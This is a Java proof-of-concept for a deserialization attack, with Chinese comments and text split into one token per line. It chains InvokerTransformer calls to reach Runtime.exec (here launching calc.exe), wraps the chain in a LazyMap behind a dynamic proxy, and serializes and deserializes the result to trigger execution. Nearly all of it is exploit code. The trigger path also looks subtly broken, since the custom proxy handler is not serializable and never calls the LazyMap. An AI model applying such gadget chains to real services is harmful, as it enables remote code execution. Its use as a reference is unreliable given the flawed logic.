/
/
构造命令执行链
Transformer[] transformers
=
new Transformer[]{
new ConstantTransformer(Runtime.
class
),
new InvokerTransformer(
"getMethod"
,
new Class[]{String.
class
, Class[].
class
},
new
Object
[]{
"getRuntime"
, new Class[
0
]}),
new InvokerTransformer(
"invoke"
,
new Class[]{
Object
.
class
,
Object
[].
class
},
new
Object
[]{null, new
Object
[
0
]}),
new InvokerTransformer(
"exec"
,
new Class[]{String.
class
},
new
Object
[]{
"calc.exe"
})
};
ChainedTransformer chain
=
new ChainedTransformer(transformers);
/
/
创建LazyMap实例
Map
lazyMap
=
LazyMap.decorate(new HashMap(), chain);
/
/
通过动态代理触发
Map
proxyMap
=
(
Map
) Proxy.newProxyInstance(
Map
.
class
.getClassLoader(),
new Class[]{
Map
.
class
},
new InvocationHandler() {
public
Object
invoke(
Object
proxy, Method method,
Object
[] args) {
return
method.invoke(lazyMap, args);
}
}
);
/
/
序列化触发
ByteArrayOutputStream bos
=
new ByteArrayOutputStream();
new ObjectOutputStream(bos).writeObject(proxyMap);
byte[] payload
=
bos.toByteArray();
/
/
反序列化触发漏洞
new ObjectInputStream(new ByteArrayInputStream(payload)).readObject();